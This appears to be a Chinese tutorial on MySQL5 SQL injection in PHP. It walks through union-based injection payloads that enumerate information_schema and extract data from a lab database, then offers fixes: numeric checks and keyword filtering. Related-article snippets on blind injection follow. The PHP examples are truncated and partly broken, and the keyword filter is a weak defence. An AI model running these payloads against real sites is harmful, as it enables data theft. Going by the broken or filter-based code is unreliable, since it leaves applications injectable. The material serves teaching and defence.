WEB安全 php mysql5注入防禦(一)

2022-07-09 16:00:12 字數 2420 閱讀 5347

注入利用函式:

mysql5.0及以上版本預設有乙個information_schema資料庫,其中儲存有所有資料庫表名和列名資訊。

可以開啟phpmyadmin,分別在information_schema資料庫的tables表和columns表檢視所有表資訊,了解下面的注入語句的本質。

information_schema資料庫結構:

tables表

table_name列(存放所有表名)

table_schema列(資料庫名,條件注入時轉為16進製制格式)

columns表

column_name表(存放所有列名)

table_name列(存放所有表名)

table_schema列(資料庫名,條件注入時一般直接找指定表的列名,不需要再指定庫名)

table_collation表(字元編碼,utf8_general_ci)

一、php+mysql 聯合查詢注入

and 1=2

order by 3

union select 1,2,3union selectdatabase(),version(),user()union selectconcat(database(),0x20,version(),0x20,user(),0x20,@@version_compile_os),2,3

使用者id:sqlin 5.5.53 root@localhost win32

union selectconcat(table_name,0x20,table_collation),2,3 frominformation_schema.tableswheretable_schema=0x73716c696eunion selectconcat(column_name),2,3 frominformation_schema.columnswheretable_name=0x6e657773 //0x6e657773也可以用database()替代union select id,text,title from sqlin.news

union select `key`,2,3 from sqlin.data

key在資料庫中是關鍵字,需要用反引號引起來

使用者id:www.xiaodi8.com

二、注入產生的原因及修復建議

1. 注入產生的原因:未對引數接收的值進行過濾

2. 修復建議:

2.1 判斷傳入的引數型別(數字,過濾非數字):

<?php

//定義接收引數

//1.定義資料庫資訊

//2.連線資料庫,選擇資料庫,定義sql語句,執行語句

//3.返回結果並處理顯示,關閉資料庫

$id = $_get['x'];//接收引數名為x的值並賦值給變數id

if(is_numeric($id))

mysql_close($conn);//關閉資料庫連線

echo "當前執行語句:".$sql."";

}else

?>

2.2 指定關鍵字過濾(過濾select等關鍵字,考慮大小寫是否可繞過):

<?

//php語言開端

//php+mysql注入頁面程式設計實現

/*1.接受引數

2.資料庫連線,選擇,定義組合,執行

3.返回結果並處理顯示

*/function check_sql($id)

$id = $_get['x'];//接受引數名x的值並賦值給變數id

//$id = str_replace("select","",$id);

$id = check_sql($id);

//echo $id;

$conn = mysql_connect("127.0.0.1","root","root");//連線資料庫

mysql_select_db("sqlin",$conn);//選擇資料庫

$sql = "select * from news where id=$id";//定義sql語句

$result = mysql_query($sql);//執行sql語句

while($row = mysql_fetch_array($result))

mysql_close($conn);//關閉資料庫連線

echo "當前執行語句:".$sql."";

//php語言結尾

?>

end.

WEB安全 php mysql5注入防禦(二)

第四天 猜解當前資料庫長度 及庫名 and length database 5 當前資料庫長度 資料庫名 sqlin and ascii substring database 1,1 115 猜解當前資料庫第一位,ascii s 115 and ascii substring database 2,...

WEB 安全之 SQL注入《一》 盲注

sql注入是乙個比較 古老 的話題,雖然現在存在這種漏洞的站點比較少了,我們還是有必要了解一下它的危害,及其常用的手段,知己知彼方能百戰不殆。進攻與防守相當於矛和盾的關係,我們如果能清楚了解 攻擊的全過程,就可以更好的預防類似情況的出現。sql注入原理主要是攻擊者,利用被攻擊頁面的一些漏洞 通常都是...

WEB 安全之 SQL注入《一》 盲注

sql注入原理主要是攻擊者,利用被攻擊頁面的一些漏洞 通常都是程式設計師粗心大意造成的 改變資料庫執行的sql語句,從而達到獲取 非授權資訊 的目的。下面自己搭建了實驗環境用於測試。首先交待一下,測試環境 開發語言為 asp.net 資料庫使用的 msql 測試頁面模擬了普通的新聞頁面,url裡接受...